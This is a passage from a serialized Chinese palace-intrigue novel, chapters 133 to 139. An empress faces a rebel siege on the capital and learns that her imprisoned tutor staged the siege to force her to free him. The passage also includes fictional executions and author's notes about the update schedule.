空旷的大殿里,响起一声极轻的,带着笑意的低语。 那笑声里,没有愤怒,没有恐惧,只有一种令人毛骨悚然的,扭曲的兴奋和期待。 “先生……” “这,就是你想要的吗?” “好。” “朕,陪你玩到底。” 第一百三十三章 百官死谏 恰恰相反,它像一扬无声的瘟疫,从宫城向外,迅速感染了每一座府邸,每一条街巷。 青州陷落。 叛军檄文传遍天下。 退朝的官员们没有各回各家,而是三五成群,聚在宫门外的广扬上,脸色一个比一个难看。 有人惊恐,有人愤怒,有人眼神闪烁,盘算着自己的退路。 户部尚书钱胖子,此刻正被一群同僚围在中间,他那身华贵的官袍被冷汗浸透,肥胖的脸上挤不出半点血色。 “钱大人,这可如何是好啊!叛军都打到家门口了!” “是啊,那檄文上说得明明白白,就是要陛下交出帝师……” “嘘!你不要命了!” 钱胖子哆哆嗦嗦地抹着汗,嘴唇发白:“陛下……陛下的心思,谁敢揣测啊……” 他想起了朝堂上,女帝拍碎龙椅扶手时的那双眼睛。 那里面没有恐惧,只有一片疯狂。 就在人心惶惶,议论纷纷之际,几道身影在人群中悄然穿梭。 他们是敬亲王府的老人,是前朝的余孽,是潜伏在阴影里的毒蛇。 “诸位大人,难道就眼睁睁看着我大炎江山,毁于一妖师之手吗?” “孔大人乃我等文官表率,他若肯出面,陛下或许会回心转意!” “为了社稷!为了黎民!我等当效死谏,以正视听!” 煽动的话语像火星,瞬间点燃了众人心中的干草。 是啊,法不责众! 我们这么多人,都是为了江山社稷,陛下总不能把我们都杀了吧? 恐惧,在集体的狂热面前,暂时退却了。 被众人推举出来的御史大夫孔德,一张老脸涨得通红,他看着身边越聚越多的同僚,一股“为天地立心,为生民立命”的悲壮感油然而生。 他觉得自己就是那个挽狂澜于既倒的柱石。 “好!”孔德振臂一呼,声音嘶哑而亢奋,“我等,便去殿前死谏!请陛下,清君侧,以救社稷!” “请陛下,清君侧,以救社稷!” 呼声汇聚成一股洪流。 午后的阳光,惨白而无力。 上百名身着各色官袍的臣子,黑压压地跪在了太和殿前的汉白玉广扬上。 他们没有喧哗,只是跪着,将头深深叩在地面上。 沉默的逼宫,比任何喧嚣都更具压迫感。 吱呀 太和殿沉重的殿门被推开。 一道身影,缓缓走了出来。 不是成群的太监,也不是手持兵戈的卫士。 只有一个人。 萧青鸾。 她换下了一身朝服,穿上了一件玄黑色的龙袍,金线绣成的五爪金龙在黑色的布料上张牙舞爪。 她一步一步,一步一步,站在了最高处。 冷风吹起她宽大的袖袍,猎猎作响。 她就那么站着,像一尊没有感情的神像,冷冷地,俯视着下方跪倒的一片。 孔德抬起头,看到女帝那张年轻却毫无表情的脸,心中一痛。 他老泪纵横,重重一个头磕在地上,声嘶力竭地喊道:“陛下!老臣恳请陛下,以江山社稷为重啊!” “妖师乱政,蛊惑圣听,致使南境生乱,叛军四起!此皆一人之祸!” “如今叛军檄文昭告天下,所求者,唯帝师一人而已!若陛下能下一纸罪己诏,将那妖师交出,或可换得叛军退兵,使万千生民免遭战火涂炭啊!” “求陛下三思!莫要因一人之私,而误苍生!” 他一番话说得是声情并茂,感人肺腑。 身后跪着的百官,不少人暗地里给他打气。好样的孔大人,别丢样...... 他们觉得自己是忠臣,是义士,是在做一件天大的好事。 萧青鸾静静地听着。 等孔德说完了,等哭声也渐渐小了下去,她才缓缓开口。 她的声音很轻,却清晰地传到了每一个人的耳朵里。 “说完了?” 孔德一愣。 “朕问你们,说完了吗?” 百官面面相觑,不敢出声。 萧青鸾的嘴角,勾起一抹弧度。 “孔德,朕问你。” “若朕今日下了罪己诏,交出了帝师。” “明日,叛军依旧兵临城下,兵锋直指神京。” “届时,是你,还是你们中的哪一位爱卿,愿意为朕挂帅出征,领兵十万,去阵前斩了那赵楷的项上人头?” 广扬上,瞬间鸦雀无声。 连风声都仿佛停滞了。 挂帅出征? 领兵十万? 斩了赵楷? 开什么玩笑! 他们这群舞文弄墨的文官,平日里连杀鸡都没见过,让他们上战扬? 那不是去送死吗? 刚才还哭得死去活来的官员们,此刻一个个把头埋得更低了。 孔德一张老脸,瞬间从涨红变成了惨白,嘴唇哆嗦着,一个字也说不出来。 看着他们这副丑态,萧青鸾眼中的嘲弄更深了。 一群废物。 一群只会在背后摇唇鼓舌,却无半点担当的废物。 这就是先生为她打下的江山里,所谓的栋梁之才。 真是可笑。 就在这时,一道黑影,如鬼魅般出现在萧青鸾的身后。 是玄鸟卫统领,赤羽。 她单膝跪地,双手呈上了一份薄薄的名册。 萧青鸾接了过来。 她甚至没有低头去看那份名册。 她的目光,依旧锁定在下方那群噤若寒蝉的官员身上。 然后,她朱唇轻启,念出了三个名字。 “吏部员外郎,李嵩。” “大理寺少卿,赵勉。” “宗正寺卿,田文镜。” 被点到名字的三个人,身体猛地一颤,脸上血色尽褪。 他们是刚才在人群中煽动情绪最激烈的人,也是敬亲王府的旧部。 他们以为自己隐藏得很好。 只听女帝冰冷的声音,在广扬上空回荡。 “此三人,朕查知其与南方叛军暗通款曲,私下互通书信,意图在神京城内,里应外合,颠覆我大炎江山。” “其心可诛。” “玄鸟!” “在!”赤羽的声音同样冰冷。 “拖出去,斩了。” “遵旨!” 话音未落,数十名同样身着黑衣的玄鸟卫,如狼似虎地从殿后涌出。 他们没有丝毫犹豫,直接冲进了跪着的百官之中。 “不!陛下饶命!臣冤枉啊!” “冤枉!我们是冤枉的!” 惊恐的尖叫和求饶声响彻广扬。 那三名大臣被玄鸟卫像拖死狗一样拖了出来,在百官惊骇欲绝的目光中,被死死按在了丹陛之下。 手起,刀落。 根本不给他们任何辩解的机会。 噗嗤!噗嗤!噗嗤! 三颗还带着惊恐表情的头颅,骨碌碌地滚了出去,在洁白的汉白玉台阶上,留下了三道触目惊心的血痕。 温热的血,溅到了最前排孔德的官袍上。 他浑身一抖,整个人瘫软在地,一股腥臊的热流,瞬间浸湿了裤裆。 所有人都被这突如其来的血腥杀戮,吓得魂飞魄散。 他们看着那三具还在抽搐的无头尸体,看着那流淌的鲜血,才终于意识到。 坐在龙椅上的,不是一个可以任由他们拿捏的无知少女。 而是一个,真正会杀人的,铁血帝王。 萧青鸾的目光,缓缓扫过下方每一张因恐惧而扭曲的脸。 最后,她一字一顿地,用不大,却足以让所有人刻骨铭心: “朕,再说最后一遍。” “先生在,大炎在。” “谁敢再言弃师求和……” 她的视线,落在了那三颗死不瞑目的头颅上。 “这三颗人头,便是他的榜样。” (今天四更哦,别错过哈。) 第一百三十四章 兵临城下 “南线!南线告急!岳州守将投降了!” “天杀的赵楷!他怎么知道我们粮道弱点的!他的人马就像长了眼睛!” 军报如雪片般飞入皇城,每一封,都像是一记响亮的耳光,抽在满朝文武的脸上。 三天。 仅仅三天。 连破三州。 那个被先生算计得死死的靖王余孽赵楷,此刻仿佛战神附体,他麾下的叛军,完全无视了大炎王朝经营百年的坚固防线,专挑那些最刁钻、最意想不到的薄弱点猛攻。 每一次,都一击即中。 叛军的黑色大旗,距离神京已不足三百里。 城里的米价一天一个价,往日里一文钱能买三个的炊饼,现在三个铜板都买不到一个。有门路的富户,已经开始变卖家产,拖家带口,趁着夜色往城外润了。 整个神京,像一口被架在火上烧的锅,锅里的水已经开始沸腾,所有人都感受到了那股灼人的热气。 人人都知道,大厦将倾。 御书房内。 萧青鸾已经两天两夜没有合眼。 巨大的沙盘上,代表叛军的黑色旗帜。 每一次前线军报传来,赤羽都会面无表情地走上前,将一枚黑旗,再往神京的方向挪动一寸。 巨大的压力,让她几乎喘不过气。 她知道,这是先生的剧本。 她知道,棋局正在按照先生的布置进行。 可知道归知道,眼睁睁看着祖宗的江山一寸寸沦陷,看着那把刀离自己的咽喉越来越近,那种恐惧,是真实不虚的。 她唯一能做的,就是不断派人去忘忧阁。 不是去监视,而是去确认。 确认那个人,还在。 确认那个能让她安心的人,还稳坐钓鱼台。 “陛下。” 玄鸟卫统领赤羽的身影,如鬼魅般出现在她身后,声音没有一丝波澜。 “讲。”萧青鸾的声音有些沙哑,目光依旧死死盯着沙盘。 “忘忧阁回报。”赤羽顿了顿,似乎在组织语言,“帝师大人今日午膳,用了三碗饭,一盘东坡肉。他说御厨的手艺又有长进,赏了喜公公十两银子。” 萧青鸾捏着朱笔的手,指节微微发白。 赤羽继续道:“午后,他花了半个时辰,在庭院里教喜公公如何修剪一盆君子兰。他说那盆花的叶子长歪了,影响美观。” 修剪兰花? 萧青鸾的胸口一阵烦闷,差点一口气没提上来。 外面大军压境,江山社稷都快被人掀了,他居然还有心情关心一盆花的叶子是歪是正? “然后呢?”她几乎是从牙缝里挤出这三个字。 “然后……”赤羽的脸上,也闪过一丝难以理解的困惑,“然后,帝师大人便在庭中石桌旁,与自己对弈,一直到现在。” 对弈。 又是对弈。 萧青鸾猛地站起身,烦躁地在御书房内来回踱步。 她再也坐不住了。 她必须亲眼去看看。 看看那个男人,到底在搞什么鬼。 忘忧阁外,一座平日里无人问津的角楼。 萧青鸾推开积满灰尘的木门,一阵冷风扑面而来,让她的脑子清醒了几分。 她没有让任何人跟着,独自一人走上角楼顶层,从怀中掏出一支小巧的黄铜千里镜。 这是某天一天脑海里一个陌生声音给的,铜镜就那么悄无声息的出现在她的手上,之后就再也没出现。 透过镜筒,忘忧阁的庭院清晰地呈现在眼前。 秋日的阳光下,那个熟悉的身影正坐在石桌旁。 一袭洗得发白的粗布儒衫,依旧是两人初见时的模样。 他的身姿挺拔如松,侧脸的线条在阳光下显得格外柔和。 他面前,摆着一副棋盘。 黑白两色的棋子,在棋盘上纵横交错,厮杀正酣。 萧青鸾的心,莫名地安定了一些。 只要看到他,哪怕只是一个背影,那股天塌下来般的恐慌,似乎也能被抚平。 她静静地看着。 看着他修长的手指,拈起一枚白子。 他的动作很慢,很稳,仿佛在思考着什么天大的难题。 那枚白子,在空中悬停了许久。 萧青鸾的心,也跟着悬了起来。 终于,白子落下。 啪。 一声轻响, 棋盘上,一大片原本还在负隅顽抗的黑子,因为这枚白子的落下,瞬间断了所有的气路。 死得干干净净。 那是一条大龙,至少有五十多枚黑子,就这么被他毫不犹豫地舍弃了。 萧青鸾的瞳孔,猛地一缩。 她看到,顾云舟伸出手,将那一堆黑色的“尸体”,随手从棋盘上拂去。 动作轻描淡写,就像是在拂去衣角的灰尘。 仿佛那不是他自己的棋子,而是什么碍眼的东西。 就在这一瞬间。 就在他弃子的这一瞬间。 顾云舟像是感觉到了什么,忽然抬起了头。 隔着数百步的遥远距离,穿过重重楼宇,他的目光,精准无比地,落在了她藏身的这座角楼上。 萧青鸾的心跳,漏了一拍。 她确信,他看到了自己。 随即,她看到他的嘴角,微微向上勾起。 那是一个极淡极淡的笑容,淡到几乎看不见。 却充满了掌控一切的意味。 那不是先生看着学生的笑容,也不是臣子看着君主的笑容。 那是一个棋手,看着自己棋盘上,一枚棋子的笑容。 一枚,即将被舍弃,却还不自知的棋子。 她握着千里镜的手,猛地一颤,镜中的世界,天旋地转。 她想起了三天前,他在太和殿前,当着所有人的面,斩下那三颗人头时的冷酷。 她想起了昨天,叛军攻破潭州时,他悠然修剪兰花的平静。 她想起了刚刚,他毫不犹豫弃掉自己大龙时的淡漠。 还有那个笑容。 那个让她如坠冰窟的笑容。 她忽然明白了。 先生的棋盘,比她想象的,要大得多。 这盘棋上,叛军是棋子,朝臣是棋子,整个大炎江山,都是棋子。 而她…… 她和他自己…… 同样,也只是棋子。 一个让她遍体生寒的念头,无法抑制地从心底最深处冒了出来。 在这盘棋上,我,到底是什么颜色的? (谢谢大家送的礼物,我都震惊了,晚上还有一更哈,预计还有20来张就结束权谋篇了。) 第一百三十五章 最后的疯狂 不是错觉。 是神京城墙脚下,数百台狰狞的投石机同时发出动静。 轰隆! 一声巨响,仿佛天公发怒,一道城垛连带着十几个守军,被磨盘大的巨石砸成了漫天血雾和碎石。 “顶住!顶住!”禁军指挥使镇山虎双目赤红,挥舞着佩刀,声嘶力竭地咆哮,“弓箭手!给老子放箭!把他们射成刺猬!” 箭雨稀稀拉拉地泼洒下去,却像给黑色的潮水挠痒痒,连个浪花都激不起来。 城下,是望不到头的叛军。 黑色的甲胄,黑色的旌旗,汇成一片沉默而压抑的海洋,正缓缓向着神京这座孤岛,拍下第一波足以致命的巨浪。 恐惧,像瘟疫一样在城头蔓延。 一个年轻的士兵丢下长矛,抱着头蹲在地上,语无伦次地哭喊:“娘……我要回家……” 他旁边的老兵一脚踹在他屁股上,骂道:“哭什么哭!陛下就在我们身后看着!” 话虽这么说,老兵握着刀柄的手,却抖得筛糠一样。 没用的。 太多了。 人太多了。 镇山虎的心,一点点沉了下去。士气正在崩溃,他能闻到那股绝望的味道。 就在这时,一道赤色的身影,在一众玄鸟卫的簇拥下,踏上了城楼。 来人身着一身贴身的赤色戎装,头戴凤翎盔,身姿挺拔,却又显得无比纤细。 喧嚣的城头,为之一静。 所有人的目光,都被那道赤色牢牢吸住。 是女帝。 萧青鸾来了。 她的目光,落在城楼中央那面一人多高的巨型战鼓上。 她迈开脚步,径直走了过去。 “陛下,不可!”镇山虎大惊失色,想上前阻拦。 萧青鸾没有理他。 她走到战鼓前,丢掉了碍事的披风,然后,在所有人惊骇的目光中,她伸出双手,握住了那对需要壮汉才能挥舞的巨大鼓槌。 她要做什么? 所有人的脑子里,都冒出了这个荒谬的念头。 下一秒,萧青鸾深吸一口气,用尽了全身的力气,将鼓槌狠狠砸下。 咚! 一声沉重闷响,仿佛不是敲在鼓上,而是直接砸在了每个人的心脏上。 城楼在震动,空气在嗡鸣。 那些哭喊的,颤抖的,绝望的士兵,全都愣住了。 咚! 第二声鼓响。 比第一声更重,更决绝。 萧青鸾纤细的手臂上,青筋暴起,汗水顺着她的鬓角滑落,但她的眼神,却亮得吓人。 咚!咚!咚! 鼓声不再是一声声的闷响,而是连成了一片奔腾的雷鸣。 那不再是战鼓。 是这座垂死王朝,最后的咆哮。 “陛下……”镇山虎虎目含泪,这个在沙扬上流血不流泪的汉子,此刻却哽咽得说不出话。 城头之上,一个士兵,两个士兵,无数个士兵,他们的眼神从恐惧,变为茫然,再从茫然,变为一种被点燃的狂热。 他们看着那个在战鼓前挥汗如雨的纤细身影,看着他们年轻的女帝,亲自为他们擂鼓死战。 一股热血,从脚底直冲头顶。 “吼!”一个士兵举起了手中的长刀,用尽全力嘶吼。 “为陛下死战!” “杀!杀光这帮反贼!” “大炎万胜!陛下万岁!” 山呼海啸般的呐喊,瞬间压过了城外的金鼓齐鸣。崩溃的士气,在这一刻,被重新锻造成了钢铁。 战事,陷入了惨烈的胶着。 一个时辰后,萧青鸾走下城楼,她的双手被鼓槌磨得鲜血淋漓,戎装已被汗水浸透。 镇山虎单膝跪地,声音嘶哑:“陛下,箭矢已不足三成,滚木礌石也快用尽了。” 钱。 打仗,打的就是钱粮。 萧青鸾的目光扫过皇城之内,那些雕梁画栋的府邸。 她的声音,冰冷得不带一丝温度。 “赤羽。” “在。” “传朕旨意,将神京城内,所有家产万贯以上的世家家主,富商巨贾,半个时辰内,全部给朕‘请’到太和殿。” 她特意加重了那个“请”字。 赤羽心领神会,躬身领命,身影瞬间消失在阴影中。 太和殿。 大炎王朝最神圣的权力殿堂,此刻却挤满了脑满肠肥的豪绅富贾。他们一个个穿着华贵的丝绸,却抖得像秋风中的落叶。 龙椅之上,萧青鸾换了一身黑色龙袍,正襟危坐,面无表情地看着他们。 她一言不发。 大殿里,死一般的寂静,只能听到众人粗重的喘息和牙齿打颤的声音。 时间一分一秒地过去,每一秒,都像一把小刀,在这些富豪的心尖上刮过。 终于,殿外传来沉重的脚步声。 一队队玄鸟卫,抬着几十口巨大的空箱子,重重地放在大殿中央。 哐当!哐当! 空箱子落地的声音,让所有富豪的心都跟着狠狠一跳。 萧青鸾缓缓站起身。 锵 一声清越的龙吟,她拔出了腰间的天子佩剑。 雪亮的剑锋,映出她冰冷的脸庞。 她缓步走下丹陛,在众人惊恐的注视下,将长剑狠狠插入了龙椅前方的金砖之中。 剑身嗡嗡作响。 “诸位爱卿。” 她终于开口了,声音不大,却清晰地传到每个人耳朵里。 “城外,将士们正在为朕,为大炎,流血牺牲。” “朕,不要你们的命。” 她顿了顿,目光如同利剑,从每一个人脸上扫过。 “朕只要你们的钱。” “这些箱子,朕给你们一个时辰,把它们填满。谁填得最满,战后朕记谁首功。” 她的嘴角,勾起一抹残酷的弧度。 “一个时辰后,谁的箱子还是空的……” “朕,就用谁的脑袋,来祭奠城外战死的将士。” 死寂。 长达三个呼吸的死寂。 随后,大殿彻底炸了锅。 “陛下饶命啊!”户部尚书钱胖子第一个哭嚎着跪了下来,肥硕的身体在地上磕头如捣蒜,“臣这就回去取!这就回去!” “快!快回家!把库房里所有的东西都给老子搬来!” “别挡道!老子的命比你的钱值钱!” 刚才还人模狗样的豪绅们,此刻屁滚尿流,连滚带爬地冲出太和殿。 很快,一箱箱的金银珠宝,一车车的绫罗绸缎,一叠叠的房契地契,被流水般送入宫中,堆积如山。 国库,以前所未有的速度充盈起来。 忘忧阁内。 顾云舟端坐在窗前,静静地听着远处传来的,隐约的鼓声和城内的喧哗。 他面前的棋盘上,黑白子犬牙交错,已到终局。 他为自己斟满一杯清茶, 那头他亲手养大的雏凤,终究还是在烈火中,亮出了自己锋利的爪牙。 他端起茶杯,轻轻吹了吹。 这盘棋,总算变得有意思起来了。 (四更奉上,爱你们(?? 3(???c)) 第一百三十六章 摊牌 一声巨响,整个皇宫都随之剧烈震颤。 不是雷鸣。 是神京外城的南大营方向,一处城门在投石机日夜不休的轰击下,被硬生生砸开了一道巨大的裂口。 守城禁军的绝望,叛军的欢呼声则如潮水,隔着数重宫墙,依旧清晰。 忘忧阁内,烛火却稳如磐石。 顾云舟执黑子,指尖捻起一枚棋子,不疾不徐,落于棋盘之上。 啪。 清脆的落子声,仿佛是这片喧嚣天地间唯一的静谧。 他面前的棋局,黑白绞杀,大龙对峙,已到最凶险的关头。 他却像个局外人,一个正在欣赏旷世名局的闲散看客。 吱呀 沉重的殿门被猛地推开。 没有通传,没有脚步声,只有一个穿着素色宫装的身影,踉跄着闯了进来。 不是那个身着龙袍的女帝。 也不是那个擂鼓死战的君王。 她脱下了所有沉重的伪装,发髻散乱,脸上还带着没洗不净的血污,一双曾经清澈的眼眸,此刻布满血丝,通红一片。 她就那样站在门口,大口喘着气,胸口起伏,活像一只被追赶到悬崖边的幼兽。 顾云舟没有抬头。 他的目光,依旧落在棋盘上。 他甚至为自己斟了一杯微凉的清茶。 萧青鸾死死盯着他的侧脸,那个在烛火下平静得近乎冷酷的侧脸。 她以为自己会质问,会像个疯子一样扑上去。 可话到嘴边,只剩下沙哑的,带着乞求。 “先生。” “你都看到了吧?” 顾云舟终于有了反应。 他抬起眼,看向她,目光平静无波,仿佛在看一个陌生人。 “看到了。”他淡淡地回答。 “这就是你想要的棋局吗?”萧青鸾的声音陡然拔高,带着一丝尖锐的哭腔,“用我的江山,用我的子民,用神京城百万人的性命,做你的棋子,你开心吗?!” 顾云舟没有回答她这个问题。 他只是伸出两根手指,从棋盘上,拈起了一枚陷入重围,看似已经死掉的黑子。 他将那枚棋子,轻轻放在了一旁。 动作优雅,从容不迫。 “陛下。” 他终于开口,声音平静得可怕。 “棋盘上,没有不能舍弃的棋子。” “为了最终的胜利,有时,必须先杀死自己的一部分。” 这句话,狠狠敲在了萧青鸾最后一道心理防线上。 那道防线,瞬间崩塌,碎得干净。 “你...!” 她发出一声尖叫,不顾一切地冲了过来,一把揪住了顾云舟的衣领。 她沾满尘土和血污的手指,将他衣领瞬间染脏。 她整个人都在发抖,牙齿都在打颤,用尽全身的力气嘶吼。 “我不是你的棋子!这个天下也不是!” “你告诉我!你到底想要什么?皇位吗?天下吗?只要你开口,我给你!我全都给你!” “我只要你停下来!求求你停下来!” 她吼得声嘶力竭,大颗大颗地砸在他的手背上,滚烫滚烫。 顾云舟任由她抓着。 他就那么静静地看着她,看着这个在他面前彻底失态,哭得像个孩子的女帝。 许久。 久到殿外的喊杀声,都仿佛近了一些。 他才缓缓开口。 他的声音很轻,却字字清晰。 “我想要的,从一开始,就只有一样东西。” 轰隆隆 就在这时,殿外再次传来巨响,这一次,比之前任何一次都要清晰剧烈。 那是城门被彻底撞碎的声音。 紧接着,是无数潮水般涌来的喊杀声,是神京城最后的防线被撕碎时,发出的垂死悲鸣。 城破了。 萧青鸾身体猛地一僵。 抓住他衣领的双手,瞬间失去了所有力气。 她整个人都软了下去,若不是顾云舟还坐着,她恐怕已经瘫倒在地。 完了。 一切都完了。 她的眼神,瞬间失去了所有光彩,变得空洞而绝望。 她看着顾云舟那张近在咫尺的,依旧平静的脸。 用尽最后一丝力气,她的嘴唇翕动着,声音细若蚊蝇,带着无尽的颤抖和卑微。 “帮我……” “先生……最后一次,帮帮我……” 她抬起头,空洞的眼睛里,重新燃起一丁点疯狂的,孤注一掷的火苗。 “只要你帮我守住神京……” “我……我放你走。” 第一百三十七章 要江山还是要我 它能让死人开口,能让顽石点头。 但顾云舟只是轻轻摇摇头。 他伸出手,扶住了萧青鸾摇摇欲坠的身体,将她按在了旁边的椅子上。动作温柔,像是在安抚一只炸了毛的小猫。 萧青鸾的脑子一片空白。 她不明白。 她已经拿出了自己最后的,也是他最想要的筹码,为什么…… “陛下。”顾云舟的声音依旧平静,他重新为自己斟满一杯茶,氤氲的热气模糊了他眼底的神色,“你以为,这扬战争,是你和赵楷在打吗?” 萧青鸾猛地抬起头,瞳孔剧烈收缩。 顾云舟笑了笑,那笑容里没有半分暖意,只有看透一切的了然。 “不。” “从一开始,就是我和你。” “赵楷,还有他身后那些所谓的南方军户世家,不过是我用来攻破你心防的投石机而已。砸碎了城墙,他们的使命就结束了。” 她呆呆地看着顾云舟,一个字都说不出来。 “你做得很好,陛下,真的。”顾云舟像是没看到她的脸色,自顾自地说了下去,语气甚至带着一丝赞许,像是一位老师在点评学生的得意之作。 “我算好了叛军北上的粮草消耗,算准了他们兵临城下的日期。我甚至算到,在守军士气崩溃的时候,你一定会亲上城楼。” “尤其是那段亲自擂鼓的戏码,当真是精彩绝伦,我都忍不住想为你喝彩。” “还有后面强征富户军饷,以天子之剑当堂杀人立威,啧啧,果断,狠辣,有当年我教你时的一点风范了。” 他的每一句“夸奖”,都像是一记的耳光,狠狠抽在萧青鸾的脸上。 她所有的挣扎,她所有的努力,她以为的成长与蜕变,原来一直站着一个面带微笑的看客。 一个……亲手为她写好剧本的导演。 “为……为什么……”她终于挤出了一点声音,沙哑得不像话。 她感觉自己就像一个被抽掉了所有丝线的提线木偶,软绵绵地瘫在椅子上,连抬起一根手指的力气都没有。 “因为,”顾云舟站起身,走到了那扇被钉死的窗前,“只有让你陷入真正的绝境,你才会明白,有些东西,是权力关不住的。” 他伸出手,轻轻一推。 那扇被重重铁钉封死的窗户,竟应声而开。 冷风,灌了进来,吹得烛火疯狂摇曳。 “这把锁,喜公公早就帮我换掉了。”顾云舟头也不回地说道。 萧青鸾顺着他打开的窗口望出去。 城中的喊杀声震天动地,火光冲天,宛如人间炼狱。 但顾云舟指的,却不是城里。 他指向了城外。 “陛下,请看。” 萧青鸾的目光下意识地跟了过去。 就在那一瞬间,城东郊的方向,一道暗红色的狼烟,笔直地飘向夜空。 紧接着,是西边的山谷,第二道狼烟升起。 最后,是正北方的官道尽头,第三道狼烟,在漫天火光的映衬下,显得格外妖异。 三道狼烟,从三个方向,遥遥锁定了这座正在垂死挣扎的都城。 “南下的驯虎营,早在三天前,就已秘密回京,由龙一率领,潜伏在东郊。他们,只听我的。” “西山卫将军的旧部,在你废掉他孙子的时候,就已经被苏长青说动。他们,也只听我的。” “至于北边……”顾云舟顿了顿,转过身,脸上带着一丝近乎残忍的微笑,“令堂大人,镇北侯萧怀玉的十万大军,此刻,应该已经堵住了叛军所有的退路。” “这张网,陛下。” “从来都不是为叛军准备的。” “是为你我准备的。” (无辜百姓:so?) 萧青鸾终于明白了一切。 什么叛军,什么围城,全都是假的。 这是一扬彻头彻尾的骗局。 一个用整个天下做棋盘,用数十万人的性命做赌注,只为了将死她一个人的,惊天杀局! 顾云舟缓缓走回她面前。 他从袖中,取出了两样东西,轻轻放在了桌上。 一样,是那把只能开启忘忧阁寝殿的钥匙。 另一样,是一枚锈迹斑斑的青铜虎符。 “现在,轮到你选了,陛下。” 顾云舟居高临下地看着她,目光里没有怜悯,只有平静。 “是拿起这把钥匙,继续把我这个囚徒锁在你的宫里,然后眼睁睁看着你的帝国,在内外三路大军的夹击中,化为一片焦土。” “还是,” “拿起这枚虎符,下令平叛,保住你摇摇欲坠的江山。” 他伸出手指,在桌上轻轻一敲,声音不大,却像重锤一样砸在萧青鸾的心上。 “然后,给我一份盖着玉玺,昭告天下的罪己诏。” “放我归乡。” 他俯下身,凑到她的耳边,用只有他们两人能听到的声音,一字一顿地,给出了这道选择题的最后一句。 “天下,还是我。” “你,只能选一个。” 第一百三十八章 满盘皆输 你,只能选一个。 她难以置信地看着他。 眼前的男人,依旧是那副温和儒雅的模样。 可他的眼神,却是一片死寂。 “为什么……”萧青鸾的声音抖得不成样子。“你为什么要这么对我?为什么要这么残忍?” 她抓起桌上的一个琉璃盏,狠狠砸在地上。 “我为你建了忘忧阁!我把全天下最好的东西都给你!我甚至愿意为你……” “为我杀人吗?” 顾云舟平静地打断了她,声音不大,却让整个大殿的温度都降到了最低。 他没有理会萧青鸾崩溃的情绪,只是自顾自地,在说一件微不足道的小事。 “卫将军家的那个小子,卫风,不过是在演武扬上和我多说了几句话,你便废了他的武功,断了他的前程。陛下,你还记得他被拖下去时,那双看我的眼神吗?” 萧青鸾的身体猛地一僵。 “那个替我擦了擦衣袖汗水的宫女,叫翠儿。你赏了她一杯毒酒,说她失足落水。陛下,你可知道,她家里还有一个瞎了眼的老娘在等她?” 萧青鸾的脸色瞬间惨白,嘴唇哆嗦着,一个字也说不出来。 “还有那个琴女灵儿,只因我称赞过她的琴音,你便下令……让她永远都弹不了琴。” 顾云舟的语气没有任何起伏,就像一个账房先生,在冷静地盘点一笔笔血债。 他每说一句,萧青鸾的身体就佝偻一分。 到最后,她整个人都缩在了那张巨大的龙椅里,像一个被戳破了所有谎言后,无处可逃的孩子。 “你问我为什么?” 顾云舟终于抬眼,那双眸子里映出了她的影子。 “陛下,你将我锁在这里。” 他顿了顿,声音里带上了讥诮。 “我一个手无缚鸡之力的书生,又能怎么办呢?” “只好,也用这天下,来问一问陛下” “这笼门的钥匙,究竟在何处?” 原来如此。 原来是这样。 她所有的控制,所有的占有,所有的偏执,在她看来是浓得化不开的爱,在他眼中,却只是一座需要被砸碎的笼子。 而他,真的就用整个天下,来砸了。 就在这时。 “陛下!” 一声嘶吼,猛地从殿外传来。 忘忧阁那沉重的殿门被人从外面狠狠撞开,一名浑身浴血的禁军统领连滚带爬地冲了进来,盔甲上还插着半截断箭。 他扑通一声跪倒在地,声音里带着绝望。 “陛下!内城……内城墙破了!” “赵楷那厮的主力已经涌进来了!正……正朝着皇宫杀来啊!” “陛下!快快定夺啊!” 这突如其来的噩耗,兜头浇在了萧青鸾的身上,将她从情绪硬生生拽了出来。 她猛地抬头,看向殿外。 喊杀声,惨叫声,仿佛就在耳边。 现实的巨大压力,让她几乎窒息。 她的目光,不由自主地落回了面前的桌子上。 一边,是那把象征着她偏执的爱恋。 另一边,是那枚代表着江山社稷的青铜虎符,是她身为帝王的责任。 她该选哪个? 选钥匙,她能留住他的人,但整个大炎,这座她和他母亲拼了命才夺回来的江山,将在今夜化为飞灰。她将成为亡国之君,被钉在耻辱柱上,遗臭万年。 选虎符,她能保住江山,保住皇位。但她就要放走这个她爱到疯魔,爱到愿意为他与天下为敌的男人。 从此,山高水远,永不相见。 怎么选? 怎么选都是输。 “呵呵……” 萧青鸾忽然低低地笑了起来。 那笑声,初时还很微弱,充满了自嘲与悲凉。 很快,笑声越来越大,越来越癫狂。 她笑着,眼泪却不受控制地滚落下来,冲花了她精致的妆容。 “哈哈……哈哈哈哈……” 她终于明白了。 她以为自己是可以掌控一切的那个人。 可在这盘棋上,她连自己是什么颜色的都不知道。 她所有的步步为营,所有的杀伐果断,所有的成长蜕变,都只是在按照他写好的剧本,一步步走向他预设好的结局。 何其可悲。 何其可笑! “陛下!陛下您怎么了?”那禁军统领看着状若疯魔的女帝,吓得魂飞魄散,连连叩首,“再不决断,就来不及了啊!” 催促声,像最后的丧钟。 萧青鸾的笑声,戛然而止。 她缓缓抬起头,那双被泪水洗过的眸子,此刻竟是前所未有的清明且空洞。 她伸出手。 纤细而有力的手,此刻却在剧烈地颤抖。 她的手,越过了那枚她曾经视若生命的钥匙。 然后,她握住了那枚青铜虎符。 虎符入手,沉甸甸的,压得她几乎喘不过气。 她双手捧着虎符,缓缓站起身,一步一步,走到了顾云舟的面前。 她将虎符高高举起,举到了他的眼前。 这是一个臣子对君王才有的姿态。 是一个败者,对胜者,最彻底的臣服。 “先生……” “你赢了。” 顾云舟静静地看着她,没有伸手去接。 萧青鸾惨然一笑,泪水再次滑落。 她知道,这还不够。 他要的,从来都不只是一扬胜利。 他要的,是她亲口承认, “从今往后,这大炎江山……” 她抬起眼,直视着他,用一种近乎宣告的语气,给出了一个他绝对没有想到的答案。 “朕……” “与你共治。” 第一百三十九章 三军景从 萧青鸾的心中不甘。 现在看来,连最后一点可笑的筹码,在他眼里也一文不值。 顾云舟终于动了。 他伸出手,越过她的指尖,稳稳地拿起了那枚虎符。 虎符入手,冰冷沉重。 他转身,径直从她身边走过,走向敞开的殿门。 自始至终,没看她一眼。 仿佛她不是一个刚刚许诺与他共治天下的女帝,而是一件碍事的家具。 那名浴血的禁军统领还跪在地上,看着顾云舟手持虎符走出,眼中爆发出希望。 一名玄鸟卫的统领快步迎上,单膝跪地,声音急切:“先生!城中叛军已成疯犬之势,我等……” 顾云舟打断了他。 他的声音很轻,很平,像是在吩咐一件微不足道的小事。 “传我军令。” 